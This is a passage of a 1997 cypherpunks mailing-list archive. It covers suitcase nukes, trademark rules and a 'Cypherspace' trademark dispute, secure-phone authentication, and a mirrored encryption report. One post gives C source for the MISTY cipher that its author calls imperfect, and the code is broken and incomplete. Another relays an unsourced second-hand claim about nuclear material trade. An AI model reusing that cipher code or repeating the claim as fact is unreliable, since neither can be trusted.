MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I forwarded this thread on the missing Russian suitcase nukes to my
retired CIA buddy and this was his comments;

>OK, Brian, I'm going to speak bluntly on this. Yablokov is telling 
>the unvarnished truth. And your friend is wrong to contend that no 
>others were made after 199. I worked in Kazakhstan in 1991, and 
>know for a fact that more terror weapons were made there than you'd 
>even want to guess. In fact, the Kazakh Minister of Nuclear Energy 
>was a personal friend of mine, and I sadly broke with him when he 
>would not stop the trade of fissionable materials with Kazakhstan's 
>peace-loving neighbor - - Iran.
>
>Picture clear?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDlf58dZgC62U/gIEQKZegCg+7X4SLJJ6wqAvaGsmwtO/vluH/wAn3F9
YNjRbRk3mBbhZRzlGoGxAbYw
=7uRt
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
   For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "If this is the first day of the rest of my life, I am in DEEP trouble!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 7 Oct 1997 07:45:59 +0800
To: cypherpunks@cyberpass.net
Subject: Trademarkes -- Basic Facts
Message-ID: <199710062339.TAA28240@users.invweb.net>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713738.multipart/signed"

--Boundary..3985.1071713738.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Here is a copy of the Trademark Basic Facts from the PTO web site.

Notice that this is properly formated in multipart/alternative so it can
be viewed in both text/plain & text/html formats (perhaps one of these
days NS will get a clue).

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------

Basic Facts About Registering A Trademark


What is a Trademark?

A TRADEMARK is either a word, phrase, symbol or design, or combination of
words, phrases, symbols or designs, which identifies and distinguishes the
source of the goods or services of one party from those of others.  A
service mark is the same as a trademark except that it identifies and
distinguishes the source of a service rather than a product.  Throughout
this booklet the terms "trademark" and "mark" are used to refer to both
trademarks and service marks whether they are word marks or other types of
marks. Normally, a mark for goods appears on the product or on its
packaging, while a service mark appears in advertising for the services.

A trademark is different from a copyright or a patent.  A copyright protects
an original artistic or literary work; a patent protects an invention.  For
copyright information call the Library of Congress at (202) 707-3000.

Establishing Trademark Rights

Trademark rights arise from either (1) actual use of the mark, or (2) the
filing of a proper application to register a mark in the Patent and
Trademark Office (PTO) stating that the applicant has a bona fide intention
to use the mark in commerce regulated by the U.S. Congress.  (See below,
under "Types of Applications," for a discussion of what is meant by the
terms commerce and use in commerce.) Federal registration is not required to
establish rights in a mark, nor is it required to begin use of a mark.
However, federal registration can secure benefits beyond the rights acquired
by merely using a mark.  For example, the owner of a federal registration is
presumed to be the owner of the mark for the goods and services specified in
the registration, and to be entitled to use the mark nationwide.

There are two related but distinct types of rights in a mark:  the right to
register and the right to use. Generally, the first party who either uses a
mark in commerce or files an application in the PTO has the ultimate right
to register that mark.  The PTO's authority is limited to determining the
right to register. The right to use a mark can be more complicated to
determine.  This is particularly true when two parties have begun use of the
same or similar marks without knowledge of one another and neither has a
federal registration.  Only a court can render a decision about the right to
use, such as issuing an injunction or awarding damages for infringement.  It
should be noted that a federal registration can provide significant
advantages to a party involved in a court proceeding.  The PTO cannot
provide advice concerning rights in a mark.  Only a private attorney can
provide such advice.

Unlike copyrights or patents, trademark rights can last indefinitely if the
owner continues to use the mark to identify its goods or services.  The term
of a federal trademark registration is 10 years, with 10-year renewal terms. 
However, between the fifth and sixth year after the date of initial
registration, the registrant must file an affidavit setting forth certain
information to keep the registration alive.  If no affidavit is filed, the
registration is canceled.<p>

Types of Applications for Federal Registration

An applicant may apply for federal registration in three principal ways. 
(1) An applicant who has already commenced using a mark in commerce may file
based on that use (a "use" application).  (2) An applicant who has not yet
used the mark may apply based on a bona fide intention to use the mark in
commerce (an "intent-to-use" application).  For the purpose of obtaining
federal registration, commerce means all commerce which may lawfully be
regulated by the U.S. Congress, for example, interstate commerce or commerce
between the U.S. and another country.  The use in commerce must be a bona
fide use in the ordinary course of trade, and not made merely to reserve a
right in a mark.  Use of a mark in promotion or advertising before the
product or service is actually provided under the mark on a normal
commercial scale does not qualify as use in commerce.  Use of a mark in
purely local commerce within a state does not qualify as "use in commerce."
If an applicant files based on a bona fide intention to use in commerce, the
applicant will have to use the mark in commerce and submit an allegation of
use to the PTO before the PTO will register the mark (See page 12).  (3)
Additionally, under certain international agreements, an applicant from
outside the United States may file in the United States based on an
application or registration in another country.  For information regarding
applications based on international agreements please call the information
number provided on page 4.

A United States registration provides protection only in the United States
and its territories.  If the owner of a mark wishes to protect a mark in
other countries, the owner must seek protection in each country separately
under the relevant laws.  The PTO cannot provide information or advice
concerning protection in other countries.  Interested parties may inquire
directly in the relevant country or its U.S. offices or through an
attorney.

Who May File an Application?

The application must be filed in the name of the owner of the mark; usually
an individual, corporation or partnership.  The owner of a mark controls the
nature and quality of the goods or services identified by the mark.  See
below in the line-by-line instructions for information about who must sign
the application and other papers.

The owner may submit and prosecute its own application for registration, or
may be represented by an attorney.  The PTO cannot help select an
attorney.

Foreign Applicants

Applicants not living in the United States must designate in writing the
name and address of a domestic representative -- a person residing in the
United States "upon whom notices of process may be served for proceedings
affecting the mark." The applicant may do so by submitting a statement that
the named person at the address indicated is appointed as the applicant's
domestic representative under º1(e) of the Trademark Act.  The applicant
must sign this statement.  This person will receive all communications from
the PTO unless the applicant is represented by an attorney in the United
States.

Searches for Conflicting Marks

An applicant is not required to conduct a search for conflicting marks prior
to applying with the PTO. However, some people find it useful.  In
evaluating an application, an examining attorney conducts a search and
notifies the applicant if a conflicting mark is found.  The application fee,
which covers processing and search costs, will not be refunded even if a
conflict is found and the mark cannot be registered.

To determine whether there is a conflict between two marks, the PTO
determines whether there would be likelihood of confusion, that is, whether
relevant consumers would be likely to associate the goods or services of one
party with those of the other party as a result of the use of the marks at
issue by both parties. The principal factors to be considered in reaching
this decision are the similarity of the marks and the commercial
relationship between the goods and services identified by the marks.  To
find a conflict, the marks need not be identical, and the goods and services
do not have to be the same.

The PTO does not conduct searches for the public to determine if a
conflicting mark is registered, or is the subject of a pending application,
except as noted above when acting on an application.  However, there are a
variety of ways to get this same type of information.  First, by performing
a search in the PTO public search library.  The search library is located on
the second floor of the South Tower Building, 2900 Crystal Drive, Arlington,
Virginia 22202.  Second, by visiting a patent and trademark depository
library (at locations listed on pages 14 and 15).  These libraries have
CD-ROMS containing the trademark database of registered and pending marks. 
Finally, either a private trademark search company, or an attorney who deals
with trademark law, can provide trademark registration information.  The PTO
cannot provide advice about possible conflicts between marks.

Laws & Rules Governing Federal Registration

The federal registration of trademarks is governed by the Trademark Act of
1946, as amended, 15 U.S.C. º1051 et seq.; the Trademark Rules, 37 C.F.R.
Part 2; and the Trademark Manual of Examining Procedure (2d ed. 1993).

Other Types of Applications

In addition to trademarks and service marks, the Trademark Act provides for
federal registration of other types of marks, such as certification marks,
collective trademarks and service marks, and collective membership marks. 
These types of marks are relatively rare.  For forms and information
regarding the registration of these marks, please call the appropriate
trademark information number indicated below.

Where to Send the Application and Correspondence

The application and all other correspondence should be addressed to "The
Assistant Commissioner for Trademarks, 2900 Crystal Drive, Arlington,
Virginia 22202-3513." The initial application should be directed to "Box NEW
APP / FEE." An AMENDMENT TO ALLEGE USE should be directed to "Attn. AAU." A
STATEMENT OF USE or REQUEST FOR AN EXTENSION OF TIME TO FILE A STATEMENT OF
USE should be directed to "Box ITU / FEE." (See page 5 for an explanation of
these terms.)

The applicant should indicate its telephone number on the application form. 
Once a serial number is assigned to the application, the applicant should
refer to the serial number in all written and telephone communications
concerning the application.

It is advisable to submit a stamped, self-addressed postcard with the
application specifically listing each item in the mailing, that is, the
written application, the drawing, the fee, and the specimens (if
appropriate).  The PTO will stamp the filing date and serial number of the
application on the postcard to acknowledge receipt.  This will help the
applicant if any item is later lost or if the applicant wishes to inquire
about the application.  The PTO will send a separate official notification
of the filing date and serial number for every application about two months
after receipt.

Use of the "TM," "SM" and "&reg;" Symbols

Anyone who claims rights in a mark may use the TM (trademark) or SM (service
mark) designation with the mark to alert the public to the claim.  It is not
necessary to have a registration, or even a pending application, to use
these designations.  The claim may or may not be valid.  The registration
symbol, &reg;, may only be used when the mark is registered in the PTO.  It is
improper to use this symbol at any point before the registration issues. 
Please omit all symbols from the mark in the drawing you submit with your
application; the symbols are not considered part of the mark.

Title: 
Basic Facts About Registering A Trademark







 




Basic Facts About Registering A Trademark



What is a Trademark?

A TRADEMARK is either a word, phrase, symbol or design, or combination of
words, phrases, symbols or designs, which identifies and distinguishes the
source of the goods or services of one party from those of others.  A
service mark is the same as a trademark except that it identifies and
distinguishes the source of a service rather than a product.  Throughout
this booklet the terms "trademark" and "mark" are used to refer to both
trademarks and service marks whether they are word marks or other types of
marks. Normally, a mark for goods appears on the product or on its
packaging, while a service mark appears in advertising for the services.

A trademark is different from a copyright or a patent.  A copyright protects
an original artistic or literary work; a patent protects an invention.  For
copyright information call the Library of Congress at (202) 707-3000.

Establishing Trademark Rights

Trademark rights arise from either (1) actual use of the mark, or (2) the
filing of a proper application to register a mark in the Patent and
Trademark Office (PTO) stating that the applicant has a bona fide intention
to use the mark in commerce regulated by the U.S. Congress.  (See below,
under "Types of Applications," for a discussion of what is meant by the
terms commerce and use in commerce.) Federal registration is not required to
establish rights in a mark, nor is it required to begin use of a mark.
However, federal registration can secure benefits beyond the rights acquired
by merely using a mark.  For example, the owner of a federal registration is
presumed to be the owner of the mark for the goods and services specified in
the registration, and to be entitled to use the mark nationwide.

There are two related but distinct types of rights in a mark:  the right to
register and the right to use. Generally, the first party who either uses a
mark in commerce or files an application in the PTO has the ultimate right
to register that mark.  The PTO's authority is limited to determining the
right to register. The right to use a mark can be more complicated to
determine.  This is particularly true when two parties have begun use of the
same or similar marks without knowledge of one another and neither has a
federal registration.  Only a court can render a decision about the right to
use, such as issuing an injunction or awarding damages for infringement.  It
should be noted that a federal registration can provide significant
advantages to a party involved in a court proceeding.  The PTO cannot
provide advice concerning rights in a mark.  Only a private attorney can
provide such advice.

Unlike copyrights or patents, trademark rights can last indefinitely if the
owner continues to use the mark to identify its goods or services.  The term
of a federal trademark registration is 10 years, with 10-year renewal terms. 
However, between the fifth and sixth year after the date of initial
registration, the registrant must file an affidavit setting forth certain
information to keep the registration alive.  If no affidavit is filed, the
registration is canceled.

Types of Applications for Federal Registration

An applicant may apply for federal registration in three principal ways. 
(1) An applicant who has already commenced using a mark in commerce may file
based on that use (a "use" application).  (2) An applicant who has not yet
used the mark may apply based on a bona fide intention to use the mark in
commerce (an "intent-to-use" application).  For the purpose of obtaining
federal registration, commerce means all commerce which may lawfully be
regulated by the U.S. Congress, for example, interstate commerce or commerce
between the U.S. and another country.  The use in commerce must be a bona
fide use in the ordinary course of trade, and not made merely to reserve a
right in a mark.  Use of a mark in promotion or advertising before the
product or service is actually provided under the mark on a normal
commercial scale does not qualify as use in commerce.  Use of a mark in
purely local commerce within a state does not qualify as "use in commerce."
If an applicant files based on a bona fide intention to use in commerce, the
applicant will have to use the mark in commerce and submit an allegation of
use to the PTO before the PTO will register the mark (See page 12).  (3)
Additionally, under certain international agreements, an applicant from
outside the United States may file in the United States based on an
application or registration in another country.  For information regarding
applications based on international agreements please call the information
number provided on page 4.

A United States registration provides protection only in the United States
and its territories.  If the owner of a mark wishes to protect a mark in
other countries, the owner must seek protection in each country separately
under the relevant laws.  The PTO cannot provide information or advice
concerning protection in other countries.  Interested parties may inquire
directly in the relevant country or its U.S. offices or through an
attorney.

Who May File an Application?

The application must be filed in the name of the owner of the mark; usually
an individual, corporation or partnership.  The owner of a mark controls the
nature and quality of the goods or services identified by the mark.  See
below in the line-by-line instructions for information about who must sign
the application and other papers.

The owner may submit and prosecute its own application for registration, or
may be represented by an attorney.  The PTO cannot help select an
attorney.

Foreign Applicants

Applicants not living in the United States must designate in writing the
name and address of a domestic representative -- a person residing in the
United States "upon whom notices of process may be served for proceedings
affecting the mark." The applicant may do so by submitting a statement that
the named person at the address indicated is appointed as the applicant's
domestic representative under §1(e) of the Trademark Act.  The applicant
must sign this statement.  This person will receive all communications from
the PTO unless the applicant is represented by an attorney in the United
States.

Searches for Conflicting Marks

An applicant is not required to conduct a search for conflicting marks prior
to applying with the PTO. However, some people find it useful.  In
evaluating an application, an examining attorney conducts a search and
notifies the applicant if a conflicting mark is found.  The application fee,
which covers processing and search costs, will not be refunded even if a
conflict is found and the mark cannot be registered.

To determine whether there is a conflict between two marks, the PTO
determines whether there would be likelihood of confusion, that is, whether
relevant consumers would be likely to associate the goods or services of one
party with those of the other party as a result of the use of the marks at
issue by both parties. The principal factors to be considered in reaching
this decision are the similarity of the marks and the commercial
relationship between the goods and services identified by the marks.  To
find a conflict, the marks need not be identical, and the goods and services
do not have to be the same.

The PTO does not conduct searches for the public to determine if a
conflicting mark is registered, or is the subject of a pending application,
except as noted above when acting on an application.  However, there are a
variety of ways to get this same type of information.  First, by performing
a search in the PTO public search library.  The search library is located on
the second floor of the South Tower Building, 2900 Crystal Drive, Arlington,
Virginia 22202.  Second, by visiting a patent and trademark depository
library (at locations listed on pages 14 and 15).  These libraries have
CD-ROMS containing the trademark database of registered and pending marks. 
Finally, either a private trademark search company, or an attorney who deals
with trademark law, can provide trademark registration information.  The PTO
cannot provide advice about possible conflicts between marks.

Laws & Rules Governing Federal Registration

The federal registration of trademarks is governed by the Trademark Act of
1946, as amended, 15 U.S.C. §1051 et seq.; the Trademark Rules, 37 C.F.R.
Part 2; and the Trademark Manual of Examining Procedure (2d ed. 1993).

Other Types of Applications

In addition to trademarks and service marks, the Trademark Act provides for
federal registration of other types of marks, such as certification marks,
collective trademarks and service marks, and collective membership marks. 
These types of marks are relatively rare.  For forms and information
regarding the registration of these marks, please call the appropriate
trademark information number indicated below.

Where to Send the Application and Correspondence

The application and all other correspondence should be addressed to "The
Assistant Commissioner for Trademarks, 2900 Crystal Drive, Arlington,
Virginia 22202-3513." The initial application should be directed to "Box NEW
APP / FEE." An AMENDMENT TO ALLEGE USE should be directed to "Attn. AAU." A
STATEMENT OF USE or REQUEST FOR AN EXTENSION OF TIME TO FILE A STATEMENT OF
USE should be directed to "Box ITU / FEE." (See page 5 for an explanation of
these terms.)

The applicant should indicate its telephone number on the application form. 
Once a serial number is assigned to the application, the applicant should
refer to the serial number in all written and telephone communications
concerning the application.

It is advisable to submit a stamped, self-addressed postcard with the
application specifically listing each item in the mailing, that is, the
written application, the drawing, the fee, and the specimens (if
appropriate).  The PTO will stamp the filing date and serial number of the
application on the postcard to acknowledge receipt.  This will help the
applicant if any item is later lost or if the applicant wishes to inquire
about the application.  The PTO will send a separate official notification
of the filing date and serial number for every application about two months
after receipt.

Use of the "TM," "SM" and "(r)" Symbols

Anyone who claims rights in a mark may use the TM (trademark) or SM (service
mark) designation with the mark to alert the public to the claim.  It is not
necessary to have a registration, or even a pending application, to use
these designations.  The claim may or may not be valid.  The registration
symbol, (r), may only be used when the mark is registered in the PTO.  It is
improper to use this symbol at any point before the registration issues. 
Please omit all symbols from the mark in the drawing you submit with your
application; the symbols are not considered part of the mark.










Last Modified:  31 July 1995











--Boundary..3985.1071713738.multipart/signed
Content-Type: application/octet-stream; name="pgp00001.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00001.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IDIuNi4zYQpD
b21tZW50OiBSZWdpc3RlcmVkX1VzZXJfRS1TZWN1cmVfdjEuMWIxX0VTMDAw
MDAwCgppUUNWQXdVQU5EbDRZWTlDbzFuK2FMaGhBUUZ6OFFRQW1ZdUFEdWVM
QXZGU0cxbUk2YTlMUktleU1hYURWNURwCmVQYUFlT3dkVEQ2OStwZHhYR29G
dnJDQ1J0MjlSV21EYnZ3VGswQ0NZT0JSbk56WGV5M2thNnY2Q0cwNWdmd0MK
dWd4THJkQ1RkVmxJY2tmSCs4WmtDR3RNc1d6UTBkZjlaWVk0OXNDZmdkVDZS
ZDRnUm0wcGF6U2lMWXhFaFlMRQpSNVdnOXFlYTJHND0KPTc2UlQKLS0tLS1F
TkQgUEdQIE1FU1NBR0UtLS0tLQ==
--Boundary..3985.1071713738.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Tue, 7 Oct 1997 06:57:51 +0800
To: eric@sac.net
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <3.0.3.32.19971006132514.033f9a78@mail.sac.net>
Message-ID: <199710062241.SAA18130@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 06:52 PM 10/5/97 -0700, Bill Stewart wrote:
> >Sigh.  A company called I-Planet is trying to trademark the term 
> >"Cypherspace", even though we've been using it for a couple of years
> >in the cypherpunk community.  

> All this fuss is really not such a big deal, as long as the Patent and
> Trademark Office <http://www.uspto.gov> hears about it.  I know nothing
> about trademark procedure, but I imagine that a letter (or three) to the
> PTO referencing the right application number on it could scotch an
> application but quick.  Printing out email and adding a stamp seems almost
> sufficient.

	Oh man!  Better think again.  This really feels like Deja Vue.
If you are not familiar with it, take a look at what the Linux community
went through when some clown snuck through a trademark on "Linux".  You
can check out that story at <http://www.ssc.com/linux/trademark/>.  He
lost, but not without some ugly fighting.  Actually, he surrendered the
Trademark to Linus Torvalds in exchange for his original filling fees.
I think Linus, Linux International, SSC, et al decided that would be
cheaper than to continue to litigate, even though the individual in
question was facing possible criminal charges over filing a false PTO
application.

	Don't take it lightly and if you can beat it before the Trademark
is issued, DON'T WAIT!

> Maybe the nice folks at i-planet (I know you're getting this) could just
> post their application number and save us the trouble of finding it ourselves?

> And I checked:  The fee for a formal _ex parte_ appeal filing is only $100.
>  I'm sure the i-planet lawyers will spend far more than that defending one
> of those.

> Eric

	Mike
--
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 7 Oct 1997 10:48:38 +0800
To: cypherpunks@Algebra.COM
Subject: Motorola secure modem
Message-ID: <3.0.32.19691231160000.00714408@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody have any information on this device going away? 
The usual thanks and everything!
gm.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 7 Oct 1997 02:23:45 +0800
To: frantz@netcom.com
Subject: Re: Secure phone
In-Reply-To: <v0300784db05ec180b158@[207.94.249.144]>
Message-ID: <199710061757.SAA01293@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Frantz <frantz@netcom.com> writes:
> At 6:25 PM -0700 10/5/97, Adam Back wrote:
> >On the other hand, using persistent key public key crypto, Tim has
> >been signing his posts recently, and I have an ancient public key of
> >his stashed away which his new key is signed with.  If we were able to
> >construct a protocol to bolt on top of the reading of hashes, we could
> >have much greater protection against MITM.
> 
> Of course if you can use PGP as well as the secure phone, you can use PGP
> to exchange a pad of one-time passwords.

The passwords alone don't do you any good: if you read them out over
the phone, Eve can just repeat them.

You need to combine the password with the part of the D-H parameter
hash displayed on the dinky little secure phone display in such a way
that Eve can't fake it without knowledge of your password.  It would
be nice if you didn't need a computer to perform this operation, but I
guess you could live with needing a computer.  It would also be nice
if the number of digits you had to read was relatively short.

XOR doesn't work, because Eve can undo that; XOR isn't very easy to do
mentally anyway.

Encrypting the display value with a symmetric cipher and a key formed
from the password and reading out a selection of digits from the
ciphertext would do.  But most/all symmetric ciphers worth speaking of
are beyond doing in your head, or with a piece of paper in a
reasonable amount of time.

How many digits are on the display of one of those phones?  It seems
that you should be able to concoct something which is easy to compute,
and offers as much surety as the few digits on the display.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 7 Oct 1997 10:24:50 +0800
To: cypherpunks@toad.com
Subject: unperfect MISTY algorithm source code
Message-ID: <19971007020703.3649.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



*// MISTY

typedef unsigned short ushort;
typedef unsigned char  uchar;

ushort EXTKEY[4][8];

static uchar S7[128]={
 27, 50, 51, 90, 59, 16, 23, 84, 91, 26,114,115,107, 44,102, 73,
 31, 36, 19,108, 55, 46, 63, 74, 93, 15, 64, 86, 37, 81, 28,  4,
 11, 70, 32, 13,123, 53, 68, 66, 43, 30, 65, 20, 75,121, 21,111,
 14, 85,  9, 54,116, 12,103, 83, 40, 10,126, 56,  2,  7, 96, 41,
 25, 18,101, 47, 48, 57,  8,104, 95,120, 42, 76,100, 69,117, 61,
 89, 72,  3, 87,124, 79, 98, 60, 29, 33, 94, 39,106,112, 77, 58,
  1,109,110, 99, 24,119, 35,  5, 38,118,  0, 49, 45,122,127, 97,
 80, 34, 17,  6, 71, 22, 82, 78,113, 62,105, 67, 52, 92, 88,125,};

static uchar S9[512]={
451,203,339,415,483,233,251, 53,385,185,276,491,307,  9, 45,211,
199,330, 55,126,235,356,403,472,163,286, 85, 44, 29,418,355,280,
331,338,466, 15, 43, 48,314,229,273,312,398, 99,227,200,500, 27,
  1,157,248,416,365,499, 28,326,125,209,130,490,387,301,244,414,
467,221,482,296,480,236, 89,145, 17,303, 38,220,176,396,271,503,
231,364,182,249,216,337,257,332,259,184,340,299,430, 23,113, 12,
 71, 88,127,420,308,297,132,349,413,434,419, 72,124, 81,458, 35,
317,423,357, 59, 66,218,402,206,193,107,159,497,300,388,250,406,
481,361,381, 49,384,266,148,474,390,318,284, 96,373,463,103,281,
                                .
                                .
                                .
                                .
                                .
120,  0,172,272,350,292,  2,444,162,234,112,508,278,348, 76,450};

#define FL_enc( k ){
r1 ^= r0 & EXTKEY[0][k];
r3 ^= r2 & EXTKEY[1][(k+2)&7];
r0 ^= r1 | EXTKEY[1][(k+6)&7];
r2 ^= r3 | EXTKEY[0][(k+4)&7];
}

#define FL_enc( k ){
r0 ^= r1 | EXTKEY[0][k];
r2 ^= r3 | EXTKEY[1][(k+4)&7];
r1 ^= r0 & EXTKEY[1][(k+6)&7];
r3 ^= r2 & EXTKEY[0][(k+2)&7];
}

#define FL_key( k ){
r0 = EXTKEY[0][k] >> 7;
r1 = EXTKEY[0][k] & 0xf7;
r0 = S9[r0][k] ^ r1;
r1 = S7[r1][k] ^ ( r0 & 0x7f );
r1 ^= EXTKEY[0][(k+1)&7];
r0 ^= EXTKEY[0][(k+1)&7] & 0x1ff;
r0 = S9[r0] ^ r1;
EXTKEY[3][k] = r1;
EXTKEY[2][k] = r0;
EXTKEY[1][k] = r1 << 9 ^ r0;
}

#define FI_txt( a0, a1, k ){
a1 = a0 >> 7;
a0 &= 0x7f;
a1 = S9[a1][k] ^ a0;
r1 = S7[a0][k] ^ a1;
a1 ^= EXTKEY[2][k];
a0 ^= EXTKEY[3][k];
a0 &= 0x7f;
a1 = S9[a1] ^ a0;
a1 ^= a0 << 9;
}

#define FI_txt( a0, a1, a2, a3, k ){
t0 = a0 ^ EXTKEY[0][k];
FI_txt( t0, t1, (t+5)&7 );
t1 ^= a1;
t2 = a1 ^ EXTKEY[0][(k+2)&7];
FI_txt( t2, t0, (k+1)&7 );
t0 ^= t1;
t1 = EXTKEY[0][(k+7)&7];
FI_txt( t1, t2, (t+3)&7 );
t2 ^= t0;
t0 ^= EXTKEY[0][(k+4)&7];
a2 ^= t0;
a3 ^= t2;
}


*// MISTY

misty1( text, key, block, mode )
uchar *text,*key;
int    block,mode;
{

   register ushort t0, t1, t2;
   register ushort r0, r1, r2, r3;

/*** key scheduling ***/

EXTKEY[0][0] = (ushort)key[0],<<8 ^ (ushort)key[1];
EXTKEY[0][1] = (ushort)key[2],<<8 ^ (ushort)key[3];
EXTKEY[0][2] = (ushort)key[4],<<8 ^ (ushort)key[5];
EXTKEY[0][3] = (ushort)key[6],<<8 ^ (ushort)key[7];
EXTKEY[0][4] = (ushort)key[8],<<8 ^ (ushort)key[9];
EXTKEY[0][5] = (ushort)key[10],<<8 ^ (ushort)key[11];
EXTKEY[0][6] = (ushort)key[12],<<8 ^ (ushort)key[13];
EXTKEY[0][7] = (ushort)key[14],<<8 ^ (ushort)key[15];

FI_key( 0 );
FI_key( 1 );
FI_key( 2 );
FI_key( 3 );
FI_key( 4 );
FI_key( 5 );
FI_key( 6 );
FI_key( 7 );

/*** Data Randomizing ***/

if( !(mode & 1) ){

/*** Encryption ***/

while( block-- > 0 ){

r0 = (ushort)text[0],<<8 ^ (ushort)key[1];
r1 = (ushort)text[2],<<8 ^ (ushort)key[3];
r2 = (ushort)text[4],<<8 ^ (ushort)key[5];
r3 = (ushort)text[6],<<8 ^ (ushort)key[7];

FI_enc( 0 );
FO_txt( r0, r1, r2, r3, 0 );
FO_txt( r2, r3, r0, r1, 1 );
FI_enc( 1 );
FO_txt( r0, r1, r2, r3, 2 );
FO_txt( r2, r3, r0, r1, 3 );
FI_enc( 2 );
FO_txt( r0, r1, r2, r3, 4 );
FO_txt( r2, r3, r0, r1, 5 );
FI_enc( 3 );
FO_txt( r0, r1, r2, r3, 6 );
FO_txt( r2, r3, r0, r1, 7 );
FI_enc( 4 );

text[0] = r2 >> 8;
text[1] = r2 & 0xff;
text[2] = r3 >> 8;
text[3] = r3 & 0xff;
text[4] = r0 >> 8;
text[5] = r0 & 0xff;
text[6] = r1 >> 8;
text[7] = r1 & 0xff;

text += 8;
    }
}
elsa{

/*** Decryption ***/

while( block-- > 0 ){

r0 = (ushort)text[0],<<8 ^ (ushort)key[1];
r1 = (ushort)text[2],<<8 ^ (ushort)key[3];
r2 = (ushort)text[4],<<8 ^ (ushort)key[5];
r3 = (ushort)text[6],<<8 ^ (ushort)key[7];

FI_enc( 4 );
FO_txt( r2, r3, r0, r1, 7 );
FO_txt( r0, r1, r2, r3, 6 );
FI_enc( 3 );
FO_txt( r2, r3, r0, r1, 5 );
FO_txt( r0, r1, r2, r3, 4 );
FI_enc( 2 );
FO_txt( r2, r3, r0, r1, 3 );
FO_txt( r0, r1, r2, r3, 2 );
FI_enc( 1 );
FO_txt( r2, r3, r0, r1, 1 );
FO_txt( r0, r1, r2, r3, 0 );
FI_enc( 0 );

text[0] = r2 >> 8;
text[1] = r2 & 0xff;
text[2] = r3 >> 8;
text[3] = r3 & 0xff;
text[4] = r0 >> 8;
text[5] = r0 & 0xff;
text[6] = r1 >> 8;
text[7] = r1 & 0xff;


        }
    }
}



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Tue, 7 Oct 1997 07:40:05 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Zergo Report
In-Reply-To: <1.5.4.32.19971006110209.0087d740@pop.pipeline.com>
Message-ID: <199710062328.TAA04016@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young writes:

: Thanks to Adam Back and Ross Anderson the full Zergo 
: Report on encryption use by the NHSnet is online at:
: 
:    http://www.dcs.ex.ac.uk/~aba/ukcrypto/zergo.html  (139K)
: 
: There may be action by HMG to prohibit publication in the
: UK (and maybe elsewhere) so we've mirrored it at:
: 
:    http://jya.com/zergo-aba.htm
: 
: Other mirrors encouraged.

OK.  I have downloaded it to my web site and, though it is not listed
in any index, it is available at
<http://samsara.law.cwru.edu/comp_law/zergo.html>.

But why do you expect HMG to try to suppress it?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Tue, 7 Oct 1997 08:26:29 +0800
To: e$@thumper.vmeng.com, Black Unicorn <cypherpunks@Algebra.COM
Subject: Re: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI  eve
In-Reply-To: <v03110747b05eb4328885@[139.167.130.248]>
Message-ID: <199710070026.UAA00270@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Via e$@thumper.vmeng.com

> To: jf_avon@citenet.net, e$@thumper.vmeng.com, cypherpunks@algebra.com
> From: Black Unicorn <unicorn@schloss.li>
> Subject: Re: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI  ever
 dre

 

>  Remember when the phone company used to lease you your phone?  Surely that
>  doesn't make the data that goes over the phone their property?

Duhhh!  Typical Unicornish answer: completely out of context.


The agreement with the phone company is to provide you with a 
service, while the agreement with the employer is for you to devote 
